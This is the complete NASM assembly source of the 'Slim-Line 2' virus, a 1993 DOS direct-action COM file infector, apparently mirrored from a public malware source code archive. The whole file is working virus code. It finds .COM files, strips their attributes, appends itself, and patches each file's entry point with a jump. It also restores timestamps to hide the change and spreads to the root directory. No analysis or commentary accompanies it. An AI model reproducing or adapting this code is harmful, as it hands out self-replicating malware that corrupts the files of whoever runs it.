mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
147 lines
2.7 KiB
NASM
147 lines
2.7 KiB
NASM
;
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; The Slim-Line 2 virus, from the Slim-line virus collection.
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; (C) 1993 by [DàRkRàY]/TridenT
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;
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; And this time it's a direct action COM infector.
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; <will be commented soon>
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_CODE SEGMENT
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ASSUME CS:_CODE, DS:_CODE, ES:_CODE
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ORG 100h
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FIRST:
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DB 'D', 0E9h, 000h, 000h
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VX:
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MOV BP,00000h
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LEA SI,[BP + OLD_4_BYTES]
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MOV DI,00100h
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PUSH DI
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MOV CX,DI
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MOVSW
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MOVSW
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XOR SI,SI
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LEA DI,[BP + LAST + 2]
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PUSH SI
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PUSH DI
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PUSH CX
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REP MOVSB
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FIND_FILE:
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MOV AH,04Eh
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LEA DX,[BP + FIND]
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MOV CL,27h
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AGAIN:
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INT 021h
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JC GO_ROOT
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YES_FILE:
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MOV AX,04300h
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MOV DX,09Eh
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INT 021h
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PUSH CX
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MOV AX,04301h
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XOR CX,CX
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INT 021h
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MOV AX,03D02h
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INT 021h
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XCHG AX,BX
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MOV AX,05700h
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INT 021h
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PUSH CX
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PUSH DX
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MOV AH,03Fh
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MOV CX,004h
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LEA DX,[BP + OLD_4_BYTES]
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INT 021h
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MOV SI,DX
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LODSW
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CMP AX,0E944h
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JE DONT_INFECT
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MOV AL,02h
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CALL SET_POINTER
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SUB AX,00004h
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MOV WORD PTR [BP + VX + 2],AX
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MOV WORD PTR [BP + NEW_4_BYTES + 2],AX
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MOV AH,040h
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MOV CL,(LAST - VX)
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LEA DX,[BP + VX]
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INT 021h
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XOR AX,AX
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CALL SET_POINTER
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MOV AH,040h
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MOV CL,004h
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LEA DX,[BP + NEW_4_BYTES]
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INT 021h
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DONT_INFECT:
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MOV AX,05701h
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POP DX
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POP CX
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INT 021h
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MOV AH,03Eh
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INT 021h
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MOV AX,04301h
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POP CX
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MOV DX,09Eh
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INT 021h
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MOV AH,4Fh
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JMP AGAIN
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GO_ROOT:
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MOV AH,03Bh
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LEA DX,[BP + ROOT]
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INT 021h
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JC EXIT
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JMP FIND_FILE
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EXIT:
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POP CX
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POP SI
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POP DI
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REP MOVSB
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RET
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SET_POINTER:
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MOV AH,042h
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XOR CX,CX
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CWD
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INT 021h
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RET
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OLD_4_BYTES: NOP
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NOP
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NOP
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RET
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FIND DB "*.COM", 000h
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ROOT DB "\", 000h
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CUT DB ""
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MARKER DB "[DR/TridenT]"
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NAMED DB "Slim-Line 2 v0.9á"
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COUNTRY DB "Holland"
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NEW_4_BYTES DB 'D', 0E9h
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LAST:
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_CODE ENDS
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END FIRST
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